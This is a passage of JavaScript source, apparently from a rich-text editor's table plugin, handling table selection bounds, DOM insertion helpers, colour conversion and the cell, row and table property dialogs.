    const hasAdvancedRowTab = option('table_row_advtab');
    const hasAdvancedTableTab = option('table_advtab');
    const hasAppearanceOptions = option('table_appearance_options');
    const hasTableGrid = option('table_grid');
    const shouldStyleWithCss = option('table_style_by_css');
    const getCellClassList = option('table_cell_class_list');
    const getRowClassList = option('table_row_class_list');
    const getTableClassList = option('table_class_list');
    const getToolbar = option('table_toolbar');
    const getTableBackgroundColorMap = option('table_background_color_map');
    const getTableBorderColorMap = option('table_border_color_map');
    const isPixelsForced = editor => getTableSizingMode(editor) === 'fixed';
    const isResponsiveForced = editor => getTableSizingMode(editor) === 'responsive';
    const getDefaultStyles = editor => {
      const options = editor.options;
      const defaultStyles = options.get('table_default_styles');
      return options.isSet('table_default_styles') ? defaultStyles : determineDefaultStyles(editor, defaultStyles);
    };
    const getDefaultAttributes = editor => {
      const options = editor.options;
      const defaultAttributes = options.get('table_default_attributes');
      return options.isSet('table_default_attributes') ? defaultAttributes : determineDefaultAttributes(editor, defaultAttributes);
    };

    const getNodeName = elm => elm.nodeName.toLowerCase();
    const getBody = editor => SugarElement.fromDom(editor.getBody());
    const getIsRoot = editor => element => eq(element, getBody(editor));
    const removePxSuffix = size => size ? size.replace(/px$/, '') : '';
    const addPxSuffix = size => /^\d+(\.\d+)?$/.test(size) ? size + 'px' : size;
    const getSelectionStart = editor => SugarElement.fromDom(editor.selection.getStart());
    const getSelectionEnd = editor => SugarElement.fromDom(editor.selection.getEnd());

    const isWithin = (bounds, detail) => {
      return detail.column >= bounds.startCol && detail.column + detail.colspan - 1 <= bounds.finishCol && detail.row >= bounds.startRow && detail.row + detail.rowspan - 1 <= bounds.finishRow;
    };
    const isRectangular = (warehouse, bounds) => {
      let isRect = true;
      const detailIsWithin = curry(isWithin, bounds);
      for (let i = bounds.startRow; i <= bounds.finishRow; i++) {
        for (let j = bounds.startCol; j <= bounds.finishCol; j++) {
          isRect = isRect && Warehouse.getAt(warehouse, i, j).exists(detailIsWithin);
        }
      }
      return isRect ? Optional.some(bounds) : Optional.none();
    };

    const getBounds = (detailA, detailB) => {
      return bounds(Math.min(detailA.row, detailB.row), Math.min(detailA.column, detailB.column), Math.max(detailA.row + detailA.rowspan - 1, detailB.row + detailB.rowspan - 1), Math.max(detailA.column + detailA.colspan - 1, detailB.column + detailB.colspan - 1));
    };
    const getAnyBox = (warehouse, startCell, finishCell) => {
      const startCoords = Warehouse.findItem(warehouse, startCell, eq);
      const finishCoords = Warehouse.findItem(warehouse, finishCell, eq);
      return startCoords.bind(sc => {
        return finishCoords.map(fc => {
          return getBounds(sc, fc);
        });
      });
    };
    const getBox$1 = (warehouse, startCell, finishCell) => {
      return getAnyBox(warehouse, startCell, finishCell).bind(bounds => {
        return isRectangular(warehouse, bounds);
      });
    };

    const getBox = (table, first, last) => {
      const warehouse = getWarehouse(table);
      return getBox$1(warehouse, first, last);
    };
    const getWarehouse = Warehouse.fromTable;

    const before = (marker, element) => {
      const parent$1 = parent(marker);
      parent$1.each(v => {
        v.dom.insertBefore(element.dom, marker.dom);
      });
    };
    const after$1 = (marker, element) => {
      const sibling = nextSibling(marker);
      sibling.fold(() => {
        const parent$1 = parent(marker);
        parent$1.each(v => {
          append$1(v, element);
        });
      }, v => {
        before(v, element);
      });
    };
    const prepend = (parent, element) => {
      const firstChild$1 = firstChild(parent);
      firstChild$1.fold(() => {
        append$1(parent, element);
      }, v => {
        parent.dom.insertBefore(element.dom, v.dom);
      });
    };
    const append$1 = (parent, element) => {
      parent.dom.appendChild(element.dom);
    };
    const wrap = (element, wrapper) => {
      before(element, wrapper);
      append$1(wrapper, element);
    };

    const after = (marker, elements) => {
      each(elements, (x, i) => {
        const e = i === 0 ? marker : elements[i - 1];
        after$1(e, x);
      });
    };
    const append = (parent, elements) => {
      each(elements, x => {
        append$1(parent, x);
      });
    };

    const remove = element => {
      const dom = element.dom;
      if (dom.parentNode !== null) {
        dom.parentNode.removeChild(dom);
      }
    };
    const unwrap = wrapper => {
      const children = children$3(wrapper);
      if (children.length > 0) {
        after(wrapper, children);
      }
      remove(wrapper);
    };

    const NodeValue = (is, name) => {
      const get = element => {
        if (!is(element)) {
          throw new Error('Can only get ' + name + ' value of a ' + name + ' node');
        }
        return getOption(element).getOr('');
      };
      const getOption = element => is(element) ? Optional.from(element.dom.nodeValue) : Optional.none();
      const set = (element, value) => {
        if (!is(element)) {
          throw new Error('Can only set raw ' + name + ' value of a ' + name + ' node');
        }
        element.dom.nodeValue = value;
      };
      return {
        get,
        getOption,
        set
      };
    };

    const api = NodeValue(isText, 'text');
    const get = element => api.get(element);
    const set = (element, value) => api.set(element, value);

    var TagBoundaries = [
      'body',
      'p',
      'div',
      'article',
      'aside',
      'figcaption',
      'figure',
      'footer',
      'header',
      'nav',
      'section',
      'ol',
      'ul',
      'li',
      'table',
      'thead',
      'tbody',
      'tfoot',
      'caption',
      'tr',
      'td',
      'th',
      'h1',
      'h2',
      'h3',
      'h4',
      'h5',
      'h6',
      'blockquote',
      'pre',
      'address'
    ];

    var DomUniverse = () => {
      const clone$1 = element => {
        return SugarElement.fromDom(element.dom.cloneNode(false));
      };
      const document = element => documentOrOwner(element).dom;
      const isBoundary = element => {
        if (!isElement(element)) {
          return false;
        }
        if (name(element) === 'body') {
          return true;
        }
        return contains(TagBoundaries, name(element));
      };
      const isEmptyTag = element => {
        if (!isElement(element)) {
          return false;
        }
        return contains([
          'br',
          'img',
          'hr',
          'input'
        ], name(element));
      };
      const isNonEditable = element => isElement(element) && get$2(element, 'contenteditable') === 'false';
      const comparePosition = (element, other) => {
        return element.dom.compareDocumentPosition(other.dom);
      };
      const copyAttributesTo = (source, destination) => {
        const as = clone(source);
        setAll(destination, as);
      };
      const isSpecial = element => {
        const tag = name(element);
        return contains([
          'script',
          'noscript',
          'iframe',
          'noframes',
          'noembed',
          'title',
          'style',
          'textarea',
          'xmp'
        ], tag);
      };
      const getLanguage = element => isElement(element) ? getOpt(element, 'lang') : Optional.none();
      return {
        up: constant({
          selector: ancestor,
          closest: closest,
          predicate: ancestor$1,
          all: parents
        }),
        down: constant({
          selector: descendants,
          predicate: descendants$1
        }),
        styles: constant({
          get: get$1,
          getRaw: getRaw,
          set: set$1,
          remove: remove$1
        }),
        attrs: constant({
          get: get$2,
          set: set$2,
          remove: remove$2,
          copyTo: copyAttributesTo
        }),
        insert: constant({
          before: before,
          after: after$1,
          afterAll: after,
          append: append$1,
          appendAll: append,
          prepend: prepend,
          wrap: wrap
        }),
        remove: constant({
          unwrap: unwrap,
          remove: remove
        }),
        create: constant({
          nu: SugarElement.fromTag,
          clone: clone$1,
          text: SugarElement.fromText
        }),
        query: constant({
          comparePosition,
          prevSibling: prevSibling,
          nextSibling: nextSibling
        }),
        property: constant({
          children: children$3,
          name: name,
          parent: parent,
          document,
          isText: isText,
          isComment: isComment,
          isElement: isElement,
          isSpecial,
          getLanguage,
          getText: get,
          setText: set,
          isBoundary,
          isEmptyTag,
          isNonEditable
        }),
        eq: eq,
        is: is$1
      };
    };

    const all = (universe, look, elements, f) => {
      const head = elements[0];
      const tail = elements.slice(1);
      return f(universe, look, head, tail);
    };
    const oneAll = (universe, look, elements) => {
      return elements.length > 0 ? all(universe, look, elements, unsafeOne) : Optional.none();
    };
    const unsafeOne = (universe, look, head, tail) => {
      const start = look(universe, head);
      return foldr(tail, (b, a) => {
        const current = look(universe, a);
        return commonElement(universe, b, current);
      }, start);
    };
    const commonElement = (universe, start, end) => {
      return start.bind(s => {
        return end.filter(curry(universe.eq, s));
      });
    };

    const sharedOne$1 = oneAll;

    const universe = DomUniverse();
    const sharedOne = (look, elements) => {
      return sharedOne$1(universe, (_universe, element) => {
        return look(element);
      }, elements);
    };

    const lookupTable = container => {
      return ancestor(container, 'table');
    };
    const retrieve$1 = (container, selector) => {
      const sels = descendants(container, selector);
      return sels.length > 0 ? Optional.some(sels) : Optional.none();
    };
    const getEdges = (container, firstSelectedSelector, lastSelectedSelector) => {
      return descendant(container, firstSelectedSelector).bind(first => {
        return descendant(container, lastSelectedSelector).bind(last => {
          return sharedOne(lookupTable, [
            first,
            last
          ]).map(table => {
            return {
              first,
              last,
              table
            };
          });
        });
      });
    };

    const retrieve = (container, selector) => {
      return retrieve$1(container, selector);
    };
    const retrieveBox = (container, firstSelectedSelector, lastSelectedSelector) => {
      return getEdges(container, firstSelectedSelector, lastSelectedSelector).bind(edges => {
        const isRoot = ancestor => {
          return eq(container, ancestor);
        };
        const sectionSelector = 'thead,tfoot,tbody,table';
        const firstAncestor = ancestor(edges.first, sectionSelector, isRoot);
        const lastAncestor = ancestor(edges.last, sectionSelector, isRoot);
        return firstAncestor.bind(fA => {
          return lastAncestor.bind(lA => {
            return eq(fA, lA) ? getBox(edges.table, edges.first, edges.last) : Optional.none();
          });
        });
      });
    };

    const fromDom = nodes => map(nodes, SugarElement.fromDom);

    const strSelected = 'data-mce-selected';
    const strSelectedSelector = 'td[' + strSelected + '],th[' + strSelected + ']';
    const strFirstSelected = 'data-mce-first-selected';
    const strFirstSelectedSelector = 'td[' + strFirstSelected + '],th[' + strFirstSelected + ']';
    const strLastSelected = 'data-mce-last-selected';
    const strLastSelectedSelector = 'td[' + strLastSelected + '],th[' + strLastSelected + ']';
    const ephemera = {
      selected: strSelected,
      selectedSelector: strSelectedSelector,
      firstSelected: strFirstSelected,
      firstSelectedSelector: strFirstSelectedSelector,
      lastSelected: strLastSelected,
      lastSelectedSelector: strLastSelectedSelector
    };

    const getSelectionCellFallback = element => table(element).bind(table => retrieve(table, ephemera.firstSelectedSelector)).fold(constant(element), cells => cells[0]);
    const getSelectionFromSelector = selector => (initCell, isRoot) => {
      const cellName = name(initCell);
      const cell = cellName === 'col' || cellName === 'colgroup' ? getSelectionCellFallback(initCell) : initCell;
      return closest(cell, selector, isRoot);
    };
    const getSelectionCellOrCaption = getSelectionFromSelector('th,td,caption');
    const getSelectionCell = getSelectionFromSelector('th,td');
    const getCellsFromSelection = editor => fromDom(editor.model.table.getSelectedCells());
    const getRowsFromSelection = (selected, selector) => {
      const cellOpt = getSelectionCell(selected);
      const rowsOpt = cellOpt.bind(cell => table(cell)).map(table => rows(table));
      return lift2(cellOpt, rowsOpt, (cell, rows) => filter(rows, row => exists(fromDom(row.dom.cells), rowCell => get$2(rowCell, selector) === '1' || eq(rowCell, cell)))).getOr([]);
    };

    const verticalAlignValues = [
      {
        text: 'None',
        value: ''
      },
      {
        text: 'Top',
        value: 'top'
      },
      {
        text: 'Middle',
        value: 'middle'
      },
      {
        text: 'Bottom',
        value: 'bottom'
      }
    ];

    const hexColour = value => ({ value });
    const shorthandRegex = /^#?([a-f\d])([a-f\d])([a-f\d])$/i;
    const longformRegex = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i;
    const isHexString = hex => shorthandRegex.test(hex) || longformRegex.test(hex);
    const normalizeHex = hex => removeLeading(hex, '#').toUpperCase();
    const fromString$1 = hex => isHexString(hex) ? Optional.some({ value: normalizeHex(hex) }) : Optional.none();
    const toHex = component => {
      const hex = component.toString(16);
      return (hex.length === 1 ? '0' + hex : hex).toUpperCase();
    };
    const fromRgba = rgbaColour => {
      const value = toHex(rgbaColour.red) + toHex(rgbaColour.green) + toHex(rgbaColour.blue);
      return hexColour(value);
    };

    const rgbRegex = /^\s*rgb\s*\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)\s*$/i;
    const rgbaRegex = /^\s*rgba\s*\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d?(?:\.\d+)?)\s*\)\s*$/i;
    const rgbaColour = (red, green, blue, alpha) => ({
      red,
      green,
      blue,
      alpha
    });
    const fromStringValues = (red, green, blue, alpha) => {
      const r = parseInt(red, 10);
      const g = parseInt(green, 10);
      const b = parseInt(blue, 10);
      const a = parseFloat(alpha);
      return rgbaColour(r, g, b, a);
    };
    const fromString = rgbaString => {
      if (rgbaString === 'transparent') {
        return Optional.some(rgbaColour(0, 0, 0, 0));
      }
      const rgbMatch = rgbRegex.exec(rgbaString);
      if (rgbMatch !== null) {
        return Optional.some(fromStringValues(rgbMatch[1], rgbMatch[2], rgbMatch[3], '1'));
      }
      const rgbaMatch = rgbaRegex.exec(rgbaString);
      if (rgbaMatch !== null) {
        return Optional.some(fromStringValues(rgbaMatch[1], rgbaMatch[2], rgbaMatch[3], rgbaMatch[4]));
      }
      return Optional.none();
    };

    const anyToHex = color => fromString$1(color).orThunk(() => fromString(color).map(fromRgba)).getOrThunk(() => {
      const canvas = document.createElement('canvas');
      canvas.height = 1;
      canvas.width = 1;
      const canvasContext = canvas.getContext('2d');
      canvasContext.clearRect(0, 0, canvas.width, canvas.height);
      canvasContext.fillStyle = '#FFFFFF';
      canvasContext.fillStyle = color;
      canvasContext.fillRect(0, 0, 1, 1);
      const rgba = canvasContext.getImageData(0, 0, 1, 1).data;
      const r = rgba[0];
      const g = rgba[1];
      const b = rgba[2];
      const a = rgba[3];
      return fromRgba(rgbaColour(r, g, b, a));
    });
    const rgbaToHexString = color => fromString(color).map(fromRgba).map(h => '#' + h.value).getOr(color);

    const Cell = initial => {
      let value = initial;
      const get = () => {
        return value;
      };
      const set = v => {
        value = v;
      };
      return {
        get,
        set
      };
    };

    const singleton = doRevoke => {
      const subject = Cell(Optional.none());
      const revoke = () => subject.get().each(doRevoke);
      const clear = () => {
        revoke();
        subject.set(Optional.none());
      };
      const isSet = () => subject.get().isSome();
      const get = () => subject.get();
      const set = s => {
        revoke();
        subject.set(Optional.some(s));
      };
      return {
        clear,
        isSet,
        get,
        set
      };
    };
    const unbindable = () => singleton(s => s.unbind());

    const onSetupToggle = (editor, formatName, formatValue) => {
      return api => {
        const boundCallback = unbindable();
        const isNone = isEmpty(formatValue);
        const init = () => {
          const selectedCells = getCellsFromSelection(editor);
          const checkNode = cell => editor.formatter.match(formatName, { value: formatValue }, cell.dom, isNone);
          if (isNone) {
            api.setActive(!exists(selectedCells, checkNode));
            boundCallback.set(editor.formatter.formatChanged(formatName, match => api.setActive(!match), true));
          } else {
            api.setActive(forall(selectedCells, checkNode));
            boundCallback.set(editor.formatter.formatChanged(formatName, api.setActive, false, { value: formatValue }));
          }
        };
        editor.initialized ? init() : editor.on('init', init);
        return boundCallback.clear;
      };
    };
    const isListGroup = item => hasNonNullableKey(item, 'menu');
    const buildListItems = items => map(items, item => {
      const text = item.text || item.title || '';
      if (isListGroup(item)) {
        return {
          text,
          items: buildListItems(item.menu)
        };
      } else {
        return {
          text,
          value: item.value
        };
      }
    });
    const buildMenuItems = (editor, items, format, onAction) => map(items, item => {
      const text = item.text || item.title;
      if (isListGroup(item)) {
        return {
          type: 'nestedmenuitem',
          text,
          getSubmenuItems: () => buildMenuItems(editor, item.menu, format, onAction)
        };
      } else {
        return {
          text,
          type: 'togglemenuitem',
          onAction: () => onAction(item.value),
          onSetup: onSetupToggle(editor, format, item.value)
        };
      }
    });
    const applyTableCellStyle = (editor, style) => value => {
      editor.execCommand('mceTableApplyCellStyle', false, { [style]: value });
    };
    const filterNoneItem = list => bind(list, item => {
      if (isListGroup(item)) {
        return [{
            ...item,
            menu: filterNoneItem(item.menu)
          }];
      } else {
        return isNotEmpty(item.value) ? [item] : [];
      }
    });
    const generateMenuItemsCallback = (editor, items, format, onAction) => callback => callback(buildMenuItems(editor, items, format, onAction));
    const buildColorMenu = (editor, colorList, style) => {
      const colorMap = map(colorList, entry => ({
        text: entry.title,
        value: '#' + anyToHex(entry.value).value,
        type: 'choiceitem'
      }));
      return [{
          type: 'fancymenuitem',
          fancytype: 'colorswatch',
          initData: {
            colors: colorMap.length > 0 ? colorMap : undefined,
            allowCustomColors: false
          },
          onAction: data => {
            const value = data.value === 'remove' ? '' : data.value;
            editor.execCommand('mceTableApplyCellStyle', false, { [style]: value });
          }
        }];
    };
    const changeRowHeader = editor => () => {
      const currentType = editor.queryCommandValue('mceTableRowType');
      const newType = currentType === 'header' ? 'body' : 'header';
      editor.execCommand('mceTableRowType', false, { type: newType });
    };
    const changeColumnHeader = editor => () => {
      const currentType = editor.queryCommandValue('mceTableColType');
      const newType = currentType === 'th' ? 'td' : 'th';
      editor.execCommand('mceTableColType', false, { type: newType });
    };

    const getClassList$1 = editor => {
      const classes = buildListItems(getCellClassList(editor));
      if (classes.length > 0) {
        return Optional.some({
          name: 'class',
          type: 'listbox',
          label: 'Class',
          items: classes
        });
      }
      return Optional.none();
    };
    const children = [
      {
        name: 'width',
        type: 'input',
        label: 'Width'
      },
      {
        name: 'height',
        type: 'input',
        label: 'Height'
      },
      {
        name: 'celltype',
        type: 'listbox',
        label: 'Cell type',
        items: [
          {
            text: 'Cell',
            value: 'td'
          },
          {
            text: 'Header cell',
            value: 'th'
          }
        ]
      },
      {
        name: 'scope',
        type: 'listbox',
        label: 'Scope',
        items: [
          {
            text: 'None',
            value: ''
          },
          {
            text: 'Row',
            value: 'row'
          },
          {
            text: 'Column',
            value: 'col'
          },
          {
            text: 'Row group',
            value: 'rowgroup'
          },
          {
            text: 'Column group',
            value: 'colgroup'
          }
        ]
      },
      {
        name: 'halign',
        type: 'listbox',
        label: 'Horizontal align',
        items: [
          {
            text: 'None',
            value: ''
          },
          {
            text: 'Left',
            value: 'left'
          },
          {
            text: 'Center',
            value: 'center'
          },
          {
            text: 'Right',
            value: 'right'
          }
        ]
      },
      {
        name: 'valign',
        type: 'listbox',
        label: 'Vertical align',
        items: verticalAlignValues
      }
    ];
    const getItems$2 = editor => children.concat(getClassList$1(editor).toArray());

    const getAdvancedTab = (editor, dialogName) => {
      const emptyBorderStyle = [{
          text: 'Select...',
          value: ''
        }];
      const advTabItems = [
        {
          name: 'borderstyle',
          type: 'listbox',
          label: 'Border style',
          items: emptyBorderStyle.concat(buildListItems(getTableBorderStyles(editor)))
        },
        {
          name: 'bordercolor',
          type: 'colorinput',
          label: 'Border color'
        },
        {
          name: 'backgroundcolor',
          type: 'colorinput',
          label: 'Background color'
        }
      ];
      const borderWidth = {
        name: 'borderwidth',
        type: 'input',
        label: 'Border width'
      };
      const items = dialogName === 'cell' ? [borderWidth].concat(advTabItems) : advTabItems;
      return {
        title: 'Advanced',
        name: 'advanced',
        items
      };
    };

    const normal = (editor, element) => {
      const dom = editor.dom;
      const setAttrib = (attr, value) => {
        dom.setAttrib(element, attr, value);
      };
      const setStyle = (prop, value) => {
        dom.setStyle(element, prop, value);
      };
      const setFormat = (formatName, value) => {
        if (value === '') {
          editor.formatter.remove(formatName, { value: null }, element, true);
        } else {
          editor.formatter.apply(formatName, { value }, element);
        }
      };
      return {
        setAttrib,
        setStyle,
        setFormat
      };
    };
    const DomModifier = { normal };

    const isHeaderCell = isTag('th');
    const getRowHeaderType = (isHeaderRow, isHeaderCells) => {
      if (isHeaderRow && isHeaderCells) {
        return 'sectionCells';
      } else if (isHeaderRow) {
        return 'section';
      } else {
        return 'cells';
      }
    };
    const getRowType$1 = row => {
      const isHeaderRow = row.section === 'thead';
      const isHeaderCells = is(findCommonCellType(row.cells), 'th');
      if (row.section === 'tfoot') {
        return { type: 'footer' };
      } else if (isHeaderRow || isHeaderCells) {
        return {
          type: 'header',
          subType: getRowHeaderType(isHeaderRow, isHeaderCells)
        };
      } else {
        return { type: 'body' };
      }
    };
    const findCommonCellType = cells => {
      const headerCells = filter(cells, cell => isHeaderCell(cell.element));
      if (headerCells.length === 0) {
        return Optional.some('td');
      } else if (headerCells.length === cells.length) {
        return Optional.some('th');
      } else {
        return Optional.none();
      }
    };
    const findCommonRowType = rows => {
      const rowTypes = map(rows, row => getRowType$1(row).type);
      const hasHeader = contains(rowTypes, 'header');
      const hasFooter = contains(rowTypes, 'footer');
      if (!hasHeader && !hasFooter) {
        return Optional.some('body');
      } else {
        const hasBody = contains(rowTypes, 'body');
        if (hasHeader && !hasBody && !hasFooter) {
          return Optional.some('header');
        } else if (!hasHeader && !hasBody && hasFooter) {
          return Optional.some('footer');
        } else {
          return Optional.none();
        }
      }
    };

    const cached = f => {
      let called = false;
      let r;
      return (...args) => {
        if (!called) {
          called = true;
          r = f.apply(null, args);
        }
        return r;
      };
    };

    const findInWarehouse = (warehouse, element) => findMap(warehouse.all, r => find(r.cells, e => eq(element, e.element)));
    const extractCells = (warehouse, target, predicate) => {
      const details = map(target.selection, cell$1 => {
        return cell(cell$1).bind(lc => findInWarehouse(warehouse, lc)).filter(predicate);
      });
      const cells = cat(details);
      return someIf(cells.length > 0, cells);
    };
    const onMergable = (_warehouse, target) => target.mergable;
    const onUnmergable = (_warehouse, target) => target.unmergable;
    const onCells = (warehouse, target) => extractCells(warehouse, target, always);
    const isUnlockedTableCell = (warehouse, cell) => findInWarehouse(warehouse, cell).exists(detail => !detail.isLocked);
    const allUnlocked = (warehouse, cells) => forall(cells, cell => isUnlockedTableCell(warehouse, cell));
    const onUnlockedMergable = (warehouse, target) => onMergable(warehouse, target).filter(mergeable => allUnlocked(warehouse, mergeable.cells));
    const onUnlockedUnmergable = (warehouse, target) => onUnmergable(warehouse, target).filter(cells => allUnlocked(warehouse, cells));

    const generate = cases => {
      if (!isArray(cases)) {
        throw new Error('cases must be an array');
      }
      if (cases.length === 0) {
        throw new Error('there must be at least one case');
      }
      const constructors = [];
      const adt = {};
      each(cases, (acase, count) => {
        const keys$1 = keys(acase);
        if (keys$1.length !== 1) {
          throw new Error('one and only one name per case');
        }
        const key = keys$1[0];
        const value = acase[key];
        if (adt[key] !== undefined) {
          throw new Error('duplicate key detected:' + key);
        } else if (key === 'cata') {
          throw new Error('cannot have a case named cata (sorry)');
        } else if (!isArray(value)) {
          throw new Error('case arguments must be an array');
        }
        constructors.push(key);
        adt[key] = (...args) => {
          const argLength = args.length;
          if (argLength !== value.length) {
            throw new Error('Wrong number of arguments to case ' + key + '. Expected ' + value.length + ' (' + value + '), got ' + argLength);
          }
          const match = branches => {
            const branchKeys = keys(branches);
            if (constructors.length !== branchKeys.length) {
              throw new Error('Wrong number of arguments to match. Expected: ' + constructors.join(',') + '\nActual: ' + branchKeys.join(','));
            }
            const allReqd = forall(constructors, reqKey => {
              return contains(branchKeys, reqKey);
            });
            if (!allReqd) {
              throw new Error('Not all branches were specified when using match. Specified: ' + branchKeys.join(', ') + '\nRequired: ' + constructors.join(', '));
            }
            return branches[key].apply(null, args);
          };
          return {
            fold: (...foldArgs) => {
              if (foldArgs.length !== cases.length) {
                throw new Error('Wrong number of arguments to fold. Expected ' + cases.length + ', got ' + foldArgs.length);
              }
              const target = foldArgs[count];
              return target.apply(null, args);
            },
            match,
            log: label => {
              console.log(label, {
                constructors,
                constructor: key,
                params: args
              });
            }
          };
        };
      });
      return adt;
    };
    const Adt = { generate };

    const adt = Adt.generate([
      { none: [] },
      { only: ['index'] },
      {
        left: [
          'index',
          'next'
        ]
      },
      {
        middle: [
          'prev',
          'index',
          'next'
        ]
      },
      {
        right: [
          'prev',
          'index'
        ]
      }
    ]);
    ({ ...adt });

    const opGetRowsType = (table, target) => {
      const house = Warehouse.fromTable(table);
      const details = onCells(house, target);
      return details.bind(selectedCells => {
        const lastSelectedCell = selectedCells[selectedCells.length - 1];
        const minRowRange = selectedCells[0].row;
        const maxRowRange = lastSelectedCell.row + lastSelectedCell.rowspan;
        const selectedRows = house.all.slice(minRowRange, maxRowRange);
        return findCommonRowType(selectedRows);
      }).getOr('');
    };
    const getRowsType = opGetRowsType;

    const rgbToHex = value => startsWith(value, 'rgb') ? rgbaToHexString(value) : value;
    const extractAdvancedStyles = elm => {
      const element = SugarElement.fromDom(elm);
      return {
        borderwidth: getRaw(element, 'border-width').getOr(''),
        borderstyle: getRaw(element, 'border-style').getOr(''),
        bordercolor: getRaw(element, 'border-color').map(rgbToHex).getOr(''),
        backgroundcolor: getRaw(element, 'background-color').map(rgbToHex).getOr('')
      };
    };
    const getSharedValues = data => {
      const baseData = data[0];
      const comparisonData = data.slice(1);
      each(comparisonData, items => {
        each(keys(baseData), key => {
          each$1(items, (itemValue, itemKey) => {
            const comparisonValue = baseData[key];
            if (comparisonValue !== '' && key === itemKey) {
              if (comparisonValue !== itemValue) {
                baseData[key] = '';
              }
            }
          });
        });
      });
      return baseData;
    };
    const getAlignment = (formats, formatName, editor, elm) => find(formats, name => !isUndefined(editor.formatter.matchNode(elm, formatName + name))).getOr('');
    const getHAlignment = curry(getAlignment, [
      'left',
      'center',
      'right'
    ], 'align');
    const getVAlignment = curry(getAlignment, [
      'top',
      'middle',
      'bottom'
    ], 'valign');
    const extractDataFromSettings = (editor, hasAdvTableTab) => {
      const style = getDefaultStyles(editor);
      const attrs = getDefaultAttributes(editor);
      const extractAdvancedStyleData = () => ({
        borderstyle: get$4(style, 'border-style').getOr(''),
        bordercolor: rgbToHex(get$4(style, 'border-color').getOr('')),
        backgroundcolor: rgbToHex(get$4(style, 'background-color').getOr(''))
      });
      const defaultData = {
        height: '',
        width: '100%',
        cellspacing: '',
        cellpadding: '',
        caption: false,
        class: '',
        align: '',
        border: ''
      };
      const getBorder = () => {
        const borderWidth = style['border-width'];
        if (shouldStyleWithCss(editor) && borderWidth) {
          return { border: borderWidth };
        }
        return get$4(attrs, 'border').fold(() => ({}), border => ({ border }));
      };
      const advStyle = hasAdvTableTab ? extractAdvancedStyleData() : {};
      const getCellPaddingCellSpacing = () => {
        const spacing = get$4(style, 'border-spacing').or(get$4(attrs, 'cellspacing')).fold(() => ({}), cellspacing => ({ cellspacing }));
        const padding = get$4(style, 'border-padding').or(get$4(attrs, 'cellpadding')).fold(() => ({}), cellpadding => ({ cellpadding }));
        return {
          ...spacing,
          ...padding
        };
      };
      const data = {
        ...defaultData,
        ...style,
        ...attrs,
        ...advStyle,
        ...getBorder(),
        ...getCellPaddingCellSpacing()
      };
      return data;
    };
    const getRowType = elm => table(SugarElement.fromDom(elm)).map(table => {
      const target = { selection: fromDom(elm.cells) };
      return getRowsType(table, target);
    }).getOr('');
    const extractDataFromTableElement = (editor, elm, hasAdvTableTab) => {
      const getBorder = (dom, elm) => {
        const optBorderWidth = getRaw(SugarElement.fromDom(elm), 'border-width');
        if (shouldStyleWithCss(editor) && optBorderWidth.isSome()) {
          return optBorderWidth.getOr('');
        }
        return dom.getAttrib(elm, 'border') || getTDTHOverallStyle(editor.dom, elm, 'border-width') || getTDTHOverallStyle(editor.dom, elm, 'border') || '';
      };
      const dom = editor.dom;
      const cellspacing = shouldStyleWithCss(editor) ? dom.getStyle(elm, 'border-spacing') || dom.getAttrib(elm, 'cellspacing') : dom.getAttrib(elm, 'cellspacing') || dom.getStyle(elm, 'border-spacing');
      const cellpadding = shouldStyleWithCss(editor) ? getTDTHOverallStyle(dom, elm, 'padding') || dom.getAttrib(elm, 'cellpadding') : dom.getAttrib(elm, 'cellpadding') || getTDTHOverallStyle(dom, elm, 'padding');
      return {
        width: dom.getStyle(elm, 'width') || dom.getAttrib(elm, 'width'),
        height: dom.getStyle(elm, 'height') || dom.getAttrib(elm, 'height'),
        cellspacing: cellspacing !== null && cellspacing !== void 0 ? cellspacing : '',
        cellpadding: cellpadding !== null && cellpadding !== void 0 ? cellpadding : '',
        border: getBorder(dom, elm),
        caption: !!dom.select('caption', elm)[0],
        class: dom.getAttrib(elm, 'class', ''),
        align: getHAlignment(editor, elm),
        ...hasAdvTableTab ? extractAdvancedStyles(elm) : {}
      };
    };
    const extractDataFromRowElement = (editor, elm, hasAdvancedRowTab) => {
      const dom = editor.dom;
      return {
        height: dom.getStyle(elm, 'height') || dom.getAttrib(elm, 'height'),
        class: dom.getAttrib(elm, 'class', ''),
        type: getRowType(elm),
        align: getHAlignment(editor, elm),
        ...hasAdvancedRowTab ? extractAdvancedStyles(elm) : {}
      };
    };
    const extractDataFromCellElement = (editor, cell, hasAdvancedCellTab, column) => {
      const dom = editor.dom;
      const colElm = column.getOr(cell);
      const getStyle = (element, style) => dom.getStyle(element, style) || dom.getAttrib(element, style);
      return {
        width: getStyle(colElm, 'width'),
        height: getStyle(cell, 'height'),
        scope: dom.getAttrib(cell, 'scope'),
        celltype: getNodeName(cell),
        class: dom.getAttrib(cell, 'class', ''),
        halign: getHAlignment(editor, cell),
        valign: getVAlignment(editor, cell),
        ...hasAdvancedCellTab ? extractAdvancedStyles(cell) : {}
      };
    };

    const getSelectedCells = (table, cells) => {
      const warehouse = Warehouse.fromTable(table);
      const allCells = Warehouse.justCells(warehouse);
      const filtered = filter(allCells, cellA => exists(cells, cellB => eq(cellA.element, cellB)));
      return map(filtered, cell => ({
        element: cell.element.dom,
        column: Warehouse.getColumnAt(warehouse, cell.column).map(col => col.element.dom)
      }));
    };
    const updateSimpleProps$1 = (modifier, colModifier, data, shouldUpdate) => {
      if (shouldUpdate('scope')) {
        modifier.setAttrib('scope', data.scope);
      }
      if (shouldUpdate('class')) {
        modifier.setAttrib('class', data.class);
      }
      if (shouldUpdate('height')) {
        modifier.setStyle('height', addPxSuffix(data.height));
      }
      if (shouldUpdate('width')) {
        colModifier.setStyle('width', addPxSuffix(data.width));
      }
    };
    const updateAdvancedProps$1 = (modifier, data, shouldUpdate) => {
      if (shouldUpdate('backgroundcolor')) {
        modifier.setFormat('tablecellbackgroundcolor', data.backgroundcolor);
      }
      if (shouldUpdate('bordercolor')) {
        modifier.setFormat('tablecellbordercolor', data.bordercolor);
      }
      if (shouldUpdate('borderstyle')) {
        modifier.setFormat('tablecellborderstyle', data.borderstyle);
      }
      if (shouldUpdate('borderwidth')) {
        modifier.setFormat('tablecellborderwidth', addPxSuffix(data.borderwidth));
      }
    };
    const applyStyleData$1 = (editor, cells, data, wasChanged) => {
      const isSingleCell = cells.length === 1;
      each(cells, item => {
        const cellElm = item.element;
        const shouldOverrideCurrentValue = isSingleCell ? always : wasChanged;
        const modifier = DomModifier.normal(editor, cellElm);
